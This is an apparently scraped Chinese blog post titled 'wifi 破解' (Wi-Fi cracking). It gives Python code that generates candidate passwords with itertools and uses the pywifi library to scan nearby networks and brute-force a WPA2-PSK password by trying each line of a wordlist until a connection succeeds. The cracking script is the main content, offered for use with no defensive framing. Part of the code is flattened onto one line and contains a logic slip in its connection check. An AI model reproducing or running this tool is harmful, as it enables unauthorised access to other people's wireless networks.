zoukankan      html  css  js  c++  java
  • wifi 破解

    https://www.bilibili.com/video/av41742605/?spm_id_from=333.788.videocard.0

    import itertools as its
    # 迭代器
    
    words = 'abc'
    r = its.product(words,repeat=3)
    
    # print(len([i for i in r]))
    for i in r:
        print(''.join(i))
    # import requests
    # res = requests.get('https://www.baidu.com')
    # res.encoding = res.apparent_encoding
    # print(res.request.headers)
    # #{'User-Agent': 'python-requests/2.21.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
    
    -------------------------------------------------
    import time import pywifi from pywifi import const #常量 # 第一个小案例 以及连接到WiFi环境? def gic(): wifi = pywifi.PyWiFi() # 实例化一个对象 iface = wifi.interfaces()[0] # 网卡 # print(iface) # print(iface.name()) #打印无线网卡名称 # print(iface.status()) #打印连接状态 0未连接 4连接到 if iface.status() == const.IFACE_CONNECTED: print('已经连接') else: print('未连接') # gic() # 扫描附近的wifi def fujin(): wifi = pywifi.PyWiFi() # 获取第一个无线网卡 iface = wifi.interfaces()[0] # 网卡 iface.scan() # 扫描 result = iface.scan_results() for name in result: print(name) # 打印出来附近的WiFi名字 print(result) fujin() # 1 导包 # 2 抓取网卡 # 3 断开所有连接 # 4 读取密码本 # 5 设置睡眠时间 # 测试连接 返回连接结果 def wificonnect(pwd): wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] # 网卡 iface.disconnect()#断开所有连接 iface.sleep(1) wifi_status = iface.status() if wifi_status == const.IFACE_CONNECTED: print('未连接') profile = pywifi.Profile() # 文件对象 profile.ssid = 'wifi' profile.auth = const.AUTH_ALG_OPEN #网卡的开放 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 profile.key = pwd iface.remove_all_network_profiles() # 删除所有的wifi文件 new_profile = iface.add_network_profile() #设置新的连接文件 iface.connect(new_profile) #用新的连接文件来测试连接 time.sleep(3) if iface.status() == const.IFACE_CONNECTED: return True else: return False else: print('未连接') def read_pwd(): # 读取密码本的路径 path = r'' #转义 绝对路径 file = open(path,'r',encoding='utf-8') while True: try: passStr = file.readline() #一行行的读取 bool = wificonnect(passStr) #调用 if bool: print('密码正确',passStr) break # 跳出当前循环 else: print('密码错误',passStr) except: continue read_pwd()
  • 相关阅读:
    JDBC 处理sql查询多个不确定参数
    网页跳转方法总结
    图片上传,直接在网页中显示(支持IE,谷歌,火狐浏览器)
    Oracle报 ORA-00054资源正忙的解决办法
    js对cookie的操作:读、写、删
    认识SignalR
    sql 查询结果用逗号分隔到一列里
    异步编程之await的使用
    应用程序池
    判断list重复扩展方法
  • 原文地址:https://www.cnblogs.com/zhangchen-sx/p/10853927.html
Copyright © 2011-2022 走看看